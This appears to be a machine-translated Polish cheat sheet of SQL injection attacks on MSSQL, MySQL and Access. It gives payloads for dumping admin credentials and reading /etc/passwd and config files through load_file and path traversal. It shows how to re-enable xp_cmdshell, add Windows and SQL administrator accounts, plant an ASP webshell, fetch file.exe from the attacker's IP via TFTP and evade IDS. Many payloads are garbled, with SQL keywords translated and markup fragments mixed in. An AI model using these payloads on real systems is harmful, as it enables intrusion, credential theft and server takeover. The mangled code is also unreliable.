Zapytania MSSQL cross-database (śmierdzące jedzenie!) Dark)
Wycisnąć każdą kroplę MS SQL
Szczegółowo wyjaśniono odwołania do instrukcji SQL oraz obiekty zbiorów rekordów
O procedurach przechowywanych w SQL Server
Stwórz webshell z kopią zapasową mssql
SQL_Injection zaawansowane zastosowania
Wstrzykiwanie SQL między miejscami (laokai)
Dziwne wstrzykiwanie SQL (AMANL)
Zaawansowane wstrzykiwanie SQL w aplikacjach SQL Server
Jak używać wstrzykiwania SQL do przeszukiwania katalogów
Przegląd technik wtrysku SQL (tłumacz: demonalex)
Niektóre ataki na bazy danych SQL
Technika ataku wtrysku SQL (JSW)
SQL_Injection Zaawansowane Zastosowania (APACHY)
Rzadkie metody wstrzyknięć SQL (weteran Guilin)
Zrób kopię zapasową powłoki
Opowiedz o strukturze instrukcji php+mysql injection (Heyhehehehe·≯Super· Hei)
Zaawansowane wstrzykiwanie SQL z MySQL (angel)
L'injection (My)SQL via PHP
Oracle SQL Language
Encyklopedia manualnej iniekcji SQL
Wymagania wstępne wymagają narzędzi: SQL Query Analyzer i SqlExec Sunx Version ============================================================================================== 1. Określić, czy istnieje punkt wstrzyknięcia ; oraz 1=1 i 1=2 2. Zgadnij, że nazwa tabeli to nic innego jak admin, administrator, user, pass, hasło użytkownika itd.: oraz 0<>(wybierz count(*) od *) oraz 0<>(wybierz count(*) z admin) — Określ, czy tabela administracyjna istnieje 3. Zgadnij liczbę kont Jeśli napotkasz 0< wróć do właściwej strony 1< zwróć stronę błędu, aby wskazać, że liczba kont wynosi 1 oraz 0<(wybierz count(*) z admin) oraz 1<(wybierz count(*) z admin) 4. Zgadnij nazwę pola Dodaj nazwę pola, o której myślimy, w nawiasach len( ). oraz 1=(wybierz count(*) z admin, gdzie len(*)>0)– oraz 1=(wybierz count(*) z administratora, gdzie len(nazwa pola użytkownika)>0) oraz 1=(wybierz count(*) z administratora, gdzie len(_blank>nazwa pola hasła)>0) 5. Zgaduj długość każdego pola Zgadnij długość do przekształcenia >0 aż do zwrócenia właściwej strony oraz 1=(wybierz count(*) z administratora, gdzie len(*)>0) oraz 1=(wybierz count(*) z administratora, gdzie len(name)>6) błąd oraz 1=(wybierz count(*) z admin gdzie len(name)>5) Poprawna długość to 6 oraz 1=(wybierz count(*) z admin gdzie len(name)=6 jest poprawne oraz 1=(wybierz count(*) z admin gdzie len(password)>11) jest poprawne oraz 1=(wybierz count(*) z administratora, gdzie len(password)>12) długość błędu wynosi 12 oraz 1=(wybierz count(*) z admin, gdzie len(password)=12) jest poprawne 6. Zgadnij postacie oraz 1=(wybierz count(*) z admin gdzie left(name,1)=a) — Zgadnij pierwszą cyfrę konta użytkownika oraz 1=(wybierz count(*) z admin gdzie left(name,2)=ab)—Zgadnij drugą cyfrę konta użytkownika Wystarczy dodawać po jednej postaci na raz, zgaduj tyle cyfr, ile właśnie zgadłeś, a numer konta wyjdzie (1) Zgadnij nazwę stołu
Używane zdania: i istnieje (wybierz * z nazwy tabeli)
Na przykład: i istnieje (wybierz * z admina)
Jeśli strona poprawnie się powtarza, oznacza to, że nazwa tabeli, którą tu zgadliśmy, jest poprawna, a jeśli strona jest błędna, to oznacza, że nazwa tabeli, którą tu wpisaliśmy, jest błędna
, następnie zmienia nazwę tabeli i kontynuuje zgadywanie, aż zgadniesz.
Zazwyczaj najczęściej używane nazwy tabel to admin, manage, user lub "włóż je w uruchomieniu narzędzia" (2) Zgadnij pole
Używane zdania: i istnieje (wybierz nazwę pola z nazwy tabeli)
Na przykład: i istnieje (wybierz nazwę użytkownika z administratora)
Tutaj, zakładając, że tabela administratora to ta, którą poprawnie zgadłem powyżej, chcę ustalić, czy pole użytkownika istnieje, muszę użyć tego sformułowania, jeśli strona
Jeśli echo twarzy jest poprawne, oznacza to, że nazwa pola, którą tu zgadliśmy, jest poprawna, a jeśli strona jest błędna, oznacza to, że nazwa pola, którą tu wpisaliśmy, jest błędna
, następnie zmień nazwę pola i kontynuuj zgadywanie, aż zgadniesz.
Zazwyczaj popularne nazwy pól to nazwa użytkownika, hasło, user, pass, name, pass, pwd, usr, psd oraz inne pola (3) kolejność według
kolejność według polega na uzyskaniu sumy liczby pól na tej stronie, przygotowując się do kolejnego wspólnego zapytania (4) Union Select
1. Jeśli obsługujesz wspólne zapytanie, znajdź bit wyświetlania http://www.xxx.com/product_show.asp?id=1 i 1=2 wybieraj union select
1,2,3,4,5,6,7,8,9,10,11 Załóżmy, że bity wyświetlania to 5,6. Następnie wystarczy zastąpić nazwy pól odpowiadające nazwie użytkownika i hasła administratora pozycją bitu wyświetlania tutaj
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 z admina znalazł logowanie w tle 2. Jeśli zapytanie wspólne nie jest obsługiwane Nazwy użytkownika i hasła administratora nie można uzyskać bez wspólnego zapytania – za pomocą dosłownego dekodowania Ascii Dwa Użyj kolejności przez do oceny liczby bitów w tabeli, a jeśli to nie działa, użyj union select, aby uporządkować je jeden po drugim, tutaj zakładamy 8 bitów Trzy Użyj wspólnego zapytania, aby określić bity wyświetlania Cztery Użyj bitu wyświetlania, aby znaleźć nazwę bazy danych, wersję bazy, którą można wstrzyknąć w wersji 5.0 lub wyższej.
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Pięć Przy nazwie bazy danych możesz zacząć od schematu nazwy tabeli = następnie wartości HEX-owej nazwy bazy danych i zgadywać nazwę tabeli
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 Sześć Analizowana nazwa tabeli określa wartość HEX nazwy tabeli administratora = nazwa tabeli oraz zgaduje pola w tabeli http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(WYRAŹNE
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Siedem Po uzyskaniu pól w tabeli administracyjnej, przejdźmy do ich zawartości http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(WYRAŹNE
+nazwa użytkownika, 0x5f,userpwd),8+from+pub_webmaster Osiem Narzędzie skanuje tło: Zaloguj się, aby przesłać trojana po jego znalezieniu, a jeśli nie możesz znaleźć pliku robots.txt, możesz uzyskać dostęp Dziewięć Jeśli nie znajdziesz tła, hasło administratora MYSQL zostanie ujawnione http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user,password),8+from+mysql.user Dziesięć Losowo uzyskujesz ścieżkę, a informacja zwrotna to domyślna strona 404 w IIS6, wskazująca, że serwer strony to: Windows+IIS6+php+MySql c:\\windows\\system32\\\inetsrv\\MetaBase.xml Ta ścieżka pozwala uzyskać informacje o konfiguracji strony. Instrukcje konstrukcyjne http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Jedenaście Przeanalizuj kod i znajdź adres tła W pierwszym kroku musimy określić długość pól w tabeli Używane stwierdzenia: oraz (wybierz top 1 len(nazwa pola) z nazwy tabeli)>0 Na przykład co: oraz (wybierz górny 1 len(admin_name) z admina)>0 Strona jest wyświetlana normalnie, długość pola admin_name jest większa niż 0, a ja wyślę:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Strona wyświetla błąd, że pole mieści się między 0 a 10, a długość wynosi 5 według dychotomii Używając tej samej metody do określenia długości pola do hasła administratora, otrzymuję długość 16 Krok 2 Teraz przejdźmy do drugiego kroku, bierz określony znak w polu i pobieraj kod ASCII tego znaku, który jest używany
Oświadczenie: oraz (wybierz top 1 asc(mid(field name, N,1)) z nazwy tabeli)>0 Przyjrzę się temu zdaniu osobno, najpierw najgłębsza funkcja środkowa (nazwa użytkownika, 1,1), która jest pierwszym znakiem pola admin_name, N
oznacza, że pierwsze znaki mają zostać przechwycone, Następnie zewnętrzna funkcja asc(), która przekształca znaki przechwycone przez funkcję środkową na kod ASCII, czyli najbardziej zewnętrzną górną jednkę, reprezentuje pole zwrotne pierwszego miejsca
Rekord, więc, ">0" na końcu służy do porównania przekonwertowanego kodu ASCII z tą liczbą i ostatecznie uzyskania przechwycenia przez ciągłą zmianę ostatniej wartości
Poznaj szczegóły tej postaci Kod ASCII Zgłoszenie:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Strona jest wyświetlana normalnie, wskazując, że kod ASCII tego znaku jest większy niż 30. Zgłoszenie:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Strona jest wyświetlana normalnie, wskazując, że kod ASCII tego znaku jest większy niż 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 Kod ASCII, który ostatecznie otrzymałem dla tego znaku, to 97 Porównaj tabelę ASCII: Można wnioskować, że pierwszy znak to "a". Następnie ocenię kod ASCII drugiego znaku.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Strona jest wyświetlana normalnie, wskazując, że kod ASCII znaku jest większy niż 90, a ostatnia wartość jest zawsze zmieniana Ta sama metoda dała hasło administratora, a wynik był następujący:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 oraz 1=(wybierz top 1 count(*) z Admin, gdzie Asc(mid(pass,5,1))=51) – To zdanie zapytania może zgadnąć chińskiego użytkownika i _blank> hasło. Po prostu zamień poniższe numery na chiński kod ASSIC
Przekształc się w znaki.
grupowanie przez users.id mający 1=1–www.myhack58.com grupowanie według users.id, users.username, users.password, users.privs mających 1=1– ; Wprowadź wartości użytkownika (666, atakujący, foobar 0xffff )–
UNION Wybierz TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. KOLUMNY Gdzie
TABLE_blank>_NAME=logintable- UNION Wybierz TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. KOLUMNY Gdzie
TABLE_blank>_NAME=logowalny tam, gdzie COLUMN_blank>_NAME NIE W (login_blank>_id)- UNION Wybierz TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. KOLUMNY Gdzie
TABLE_blank>_NAME=logowalne Gdzie COLUMN_blank>_NAME NIE W
(login_blank>_id,login_blank>_name)- UNION Wybierz TOP 1 login_blank>_name Z logintable- UNION Wybierz TOP 1 hasło Z logintable, gdzie login_blank>_name=Rahul– Spójrz na łatkę uruchomioną przez serwer _blank> = zła łatka SP4 siatka bezpieczeństwa oraz 1=(wybierz @@VERSION)–
Sprawdź uprawnienia konta połączenia _blank> bazy danych i zwraca się normalnie, co dowodzi, że to uprawnienia administratora systemu roli _blank> serwera. oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(sysadmin))–
Określ, czy konto bazy danych _blank> powiązane. (Użyj konta SA, aby połączyć się i zwrócić normalnie = udowodnij, że konto jest SA) oraz sa=(Wybierz System_blank>_user)– oraz user_blank>_name()=dbo– oraz 0<>(wybierz user_blank>_name()–
Sprawdź, czy xp_blank>_cmdshell usunie oraz 1=(Wybierz count(*) FROM master.dbo.sysobjects gdzie xtype = X AND name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell jest usuwana, przywracana i obsługuje absolutne odzyskiwanie ścieżek ; DYREKTOR master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell xplog70.dll– ; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== uprawnienia bazy danych są wystawione na fizyczny kod ścieżki strony internetowej
========================================================================== 1、tabela drop [jm_tmp]; Create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- Utwórz tabelę
2、 usuń [jm_tmp]; Wstaw [jm_tmp] master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Wstaw katalog strony do pola tabeli
3、i (wybierz top 1 cast([data] jako nvarchar(4000) char(124) z [jm_tmp] kolejność według [data]
desc)=0 '//Pole odsłonięte
4. Usuń tabelę [jm_tmp] -- usuń tę tabelę. Dla dowództwa, by zdobyć pocisk
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Inne ścieżki stacji ======================load_file() Powszechnie używane wrażliwe informacje =========================================== 1、 zastąp(load_file(0×2F6574632F70617377764),0×3c,0×20)
2、zastąpnij(load_file(char(47,101,116,99,47,112,97,115,115,119,100),char(60),char(32)) Powyższe dwa służą do wyświetlenia pliku PHP, który w pełni wyświetla kod. Są momenty, gdy niektóre znaki nie są zastępowane, na przykład "<" zamiast "space" (powrót "space"
Strona internetowa. A kod nie jest dostępny do przeglądu.
3. load_file(char(47)) może wymienić katalog główny systemów FreeBSD i Sunos
4. Zobacz plik konfiguracyjny wirtualnego hosta Linux APACHE w /etc/httpd/conf/httpd.conf lub /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf lub C:\apache\conf\httpd.conf do wyświetlania WINDOWS
System Apache file
6. c:/Resin-3.0.14/conf/resin.conf Zobacz informacje o konfiguracji pliku żywicy na stronie internetowej opracowanej przez jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf, aby zobaczyć wirtualnego hosta JSP skonfigurowanego na systemie Linux
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path
11. C:\Windows\system32\inetsrv\MetaBase.xml Zobacz plik konfiguracyjny wirtualnego hosta IIS
12. /usr/local/resin-3.0.22/conf/resin.conf, aby zobaczyć plik konfiguracyjny RESIN dla wersji 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf To samo co wyżej
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf wirtualny host APASHE
15. /etc/sysconfig/iptables zależy od polityki zapory
16. /usr/local/app/php5 b/php.ini odpowiednik ustawień PHP
17. /etc/my.cnf plik konfiguracyjny MYSQL
18. /etc/wersja Red Hat w systemie wydawniczym Redhat
19 、C:\mysql\data\mysql\user. MYD występuje w hasle użytkownika w systemie MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 do wyświetlania IP.
21. /usr/local/app/php5 b/php.ini //PHP
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // wirtualne ustawienia strony internetowej //
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue wyświetla informacje o dystrybucji jądra Linux
26、/etc/ftpuser
27. Sprawdź plik logu operacji w LINUX user.bash_history lub .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/lokalny/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/lokalny/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/lokalny/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Samodzielnie zrób eksperyment z odwrotnym PINGiem ; używaj mastera; deklaruj @s int; Exec sp_blank>_oacreate "wscrip{filter}t.shell", @s koniec; Wykonawczy
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Dodaj konto ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Utworzenie wirtualnego katalogu E-disk: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Atrybuty dostępu: (z zapisem do webshella) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Specjalny _blank> trik na burstowanie biblioteki: :%5c=\ lub zmodyfikuj %5 z / i \, aby commit oraz 0<>(wybierz 1 najlepszych ścieżek z newtable)–
Zdobądź nazwę bazy danych (od 1 do 5 to identyfikatory systemu, możesz ocenić je powyżej 6) oraz 1=(wybierz nazwę z master.dbo.sysdatabases gdzie dbid=7)– oraz 0<>(wybierz count(*) z master.dbo.sysdatabases, gdzie nazwa>1 i dbid=6) Złóż dbid po kolei = 7,8,9.... Uzyskaj więcej _blank> nazw baz danych
oraz 0<>(wybierz top 1 nazwę z bbs.dbo.sysobjects, gdzie xtype=U) wpadają do tabeli zakładając, że administrator oraz 0<>(wybierz pierwszą nazwę z bbs.dbo.sysobjects, gdzie xtype=you i name not in (Admin)).
Inne stoły. oraz 0<>(wybierz count(*) z bbs.dbo.sysobjects, gdzie xtype=you i name=admin oraz uid>(str(id))) Wartość numeryczna UID jest zakładana jako 18779569 uid=id oraz 0<>(wybierz top 1 nazwę z bbs.dbo.syscolumns, gdzie id=18779569) otrzymuje pole admin, false
Ustaw user_blank>_id oraz 0<>(wybierz top 1 nazwę z bbs.dbo.syscolumns, gdzie id=18779569 i nazwa nie w (id,...)) aby ujawnić inne dziedziny oraz 0<(wybierz user_blank>_id z BBS.dbo.admin gdzie nazwa użytkownika>1), aby uzyskać nazwę użytkownika W zamian możesz zdobyć _blank> hasło。。。。。 Załóżmy, że są pola takie jak user_blank>_id nazwa użytkownika, hasło itp
oraz 0<>(wybierz count(*) z master.dbo.sysdatabases, gdzie nazwa>1 i dbid=6) oraz 0<>(wybierz nazwę top 1 z bbs.dbo.sysobjects, gdzie xtype=U), aby uzyskać nazwę tabeli oraz 0<>(wybierz nazwę top 1 z bbs.dbo.sysobjects, gdzie xtype=you i name not in(Address)) oraz 0<>(wybierz count(*) z bbs.dbo.sysobjects, gdzie xtype=u i name=admin i uid>(str(id)))
Określ wartość id oraz 0<>(wybierz pierwszą nazwę z BBS.dbo.syscolumns, gdzie id=773577794) wszystkie pola
?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* z admin ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 z administratora (Union,Access jest również łatwy w użyciu)
Pobierz ścieżkę WEB ; Utwórz tabelę [dbo]. [zamiana] ([swappass][char](255)); – oraz (wybierz top 1 swappass ze swapu)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
Mistrzu... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, wartości=@test
OUTPUT insert do paths(paths) values(@test)– ; Użyj ku1; – ; create table cmd (obraz str); – Utworzenie cmd tabeli typu obrazu 1. Sposób usunięcia procesu rozszerzenia xp_cmdshell to użycie następującego stwierdzenia:
jeśli istnieje (wybierz * z dbo.sysobjects gdzie id=object_id(N'[dbo].[ xpcmdshell]') oraz
OBJECTPROPERTY(id,N'IsExtendedProc')=1) exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Sposób dodania xp_cmdshell procesu rozszerzenia to użycie następującego stwierdzenia:
(1) Analizator zapytań SQL
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Najpierw wpisz %s w opcji Format w SqlExec Sunx Version i wprowadź je w opcji CMD
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
usuń
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' Istnieje xp_blank>_cmdshell procesów testowania: ; Mistrz wykonawczy... xp_blank>_cmdshell dir ; Wykonawczy master.dbo.sp_blank>_addlogin Jiaoniang$; – Dodaj konta SQL ; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; – ; Wykonawczy master.dbo.sp_blank>_addsrvrolemember Jiaoniang$ administratora systemów; – ; Użytkownik Exec master.dbo.xp_blank>_cmdshell Net Jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Mistrz wykonawczy... xp_blank>_servicecontrol rozpoczęcie, harmonogram rozpoczęcia _blank> usługi Mistrz wykonawczy... xp_blank>_servicecontrol start, serwerze ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Mistrz wykonawczy... xp_blank>_cmdshell tftp - i youip get file.exe – Przesyłaj pliki za pomocą TFTP
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; deklaruj @a; zestaw @a=db_blank>_name(); baza baz zapasowych @a na dysk=Twój adres IP Twój współdzielony katalog bak.dat Jeśli jest ograniczone, to tak. select * from openrowset(_blank>sqloledb,server; SA; ,wybierz OK! Wykonawczy
master.dbo.sp_blank>_addlogin hax)
Struktura zapytań: Wybierz * Z wiadomości Gdzie id=... AND temat=... I ..... adminand 1=(wybierz count(*) z [user] gdzie username=victim i right(left(userpass,01),1)=1)
oraz userpass <> wybierz 123; – ; używaj mastera; – :a lub nazwa jak fff%; – Pokazuje użytkownika o nazwie ffff. oraz 1<>(wybierz count(email) z [user]); – ; aktualizacja [użytkownicy] ustaw e-mail=(wybierz pierwszą nazwę z sysobjects, gdzie xtype=you i status>0) gdzie
imię=ffff; – ; aktualizacja [users] ustaw email=(wybierz górne 1 ID z sysobjects, gdzie xtype=you i name=ad) gdzie
imię=ffff; – ; aktualizacja [użytkownicy] ustaw email=(wybierz pierwszą nazwę z sysobjects, gdzie xtype=ty i id>581577110)
gdzie imię=ffff; – ; aktualizacja [Użytkownicy] ustaw e-mail=(wybierz 1 górny numer(id) z hasła), gdzie imię=ffff; – ; aktualizacja [Users] ustaw email=(wybierz top 1 pwd z hasła, gdzie id=2) gdzie imię=ffff; – ; aktualizacja [użytkownicy] ustaw email=(wybierz pierwszą nazwę z hasła gdzie id=2) gdzie imię=ffff; – Powyższe stwierdzenie polega na uzyskaniu pierwszej tabeli użytkownika w bazie _blank> i wpisaniu nazwy tabeli w polu e-mail użytkownika ffff. Przeglądając profil użytkownika ffff, możesz uzyskać pierwszą tabelę o nazwie AD Następnie uzyskaj identyfikator tej tabeli według nazwy tabeli w reklamie, aby uzyskać nazwę drugiej tabeli
Wprowadź wartości użytkowników (666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Wprowadź wartości użytkownika (667,123,123,0xffff)– Wprowadź wartości użytkownika (123, admin–, hasło, 0xffff)– ; oraz user>0 ; oraz (wybierz count(*) z sysobjects)>0 ; oraz (wybierz count(*) z mysysobjects)>0 // dla bazy danych access_blank>
Wypisz nazwę tabeli danych ; Aktualizuj AAA zestaw aaa=(wybierz pierwszą nazwę z sysobjectów, gdzie xtype=u i status>0); – To właśnie wtedy pierwsza nazwa tabeli zostaje zaktualizowana na pole AAA. Przeczytaj pierwszą tabelę, a drugą tabelę można odczytać tak (dodaj nazwę i nazwę po warunku<> nazwę tabeli, którą właśnie otrzymałeś). ; Aktualizuj AAA ustaw aaa=(wybierz pierwszą nazwę z sysobjects, gdzie xtype=ty i status>0 oraz
imię<>głosowanie); – Wtedy id=1552 i istnieje (wybierz * z aaa, gdzie aaa>5) Przeczytaj drugą tabelę i czytaj ją po kolei, aż nie zostanie żadna. Pole odczytu wygląda tak: ; Aktualizacja zestawu AAA aaa=(wybierz top 1 col_blank>_name(object_blank>_id(nazwa tabeli),1)); – Wtedy id=152 i istnieje (wybierz * z aaa, gdzie aaa>5) otrzymuje błąd i otrzymuje nazwę pola ; Aktualizuj AAA zestaw AAA=(wybierz top 1 col_blank>_name(object_blank>_id(nazwa tabeli),2)); – Wtedy id=152 i istnieje (wybierz * z aaa, gdzie aaa>5) otrzymuje błąd i otrzymuje nazwę pola
[Pobierz nazwę tabeli danych] [Zaktualizuj wartość pola na nazwę tabeli, a następnie odczyta wartość tego pola, aby uzyskać nazwę tabeli] Aktualizuj pole nazwy tabeli Set =(wybierz pierwszą nazwę z sysobjectów, gdzie xtype=u i status>0 [ oraz nazwa<>
Nazwa tabeli, którą otrzymujesz Find one plus one]) [ gdzie warunek] wybierz nazwę z górnej 1 z sysobject, gdzie xtype=u i
status>0 i imię nie znajdują się w (tabela1, tabela2,...) Tworzenie konta administratora bazy danych oraz konta administratora systemu _blank> _blank> wstrzyknięcia luk przez SQLSERVER [Obecne konto musi być grupą SYSADMIN]
[Pobierz nazwę pola Datatable] [Zaktualizuj wartość pola do nazwy pola, a następnie odczyta wartość tego pola, aby uzyskać nazwę pola] Aktualizuj nazwę tabeli Pole zestawu=(wybierz górne 1 col_blank>_name(object_blank>_id (nazwa tabeli danych do zapytania), kolumna pola
Na przykład: 1) [ gdzie warunek ]
Omijanie wykrywania IDS [za pomocą zmiennych] ; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Otwórz bazę danych _blank> zdalnych Podstawowa składnia select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, wybierz * z tabeli1 ) Parametry: (1) Nazwa dostawcy OLEDB 2. Parametr ciągu połączeń może być dowolnym portem do połączenia, na przykład select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,
Wybierz * z tabeli 3. Skopiuj całą bazę _blank> docelowego hosta i wstaw wszystkie zdalne tabele do lokalnej tabeli.
Podstawowa składnia: insert do OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, wybierz * z tabeli 1) wybierz
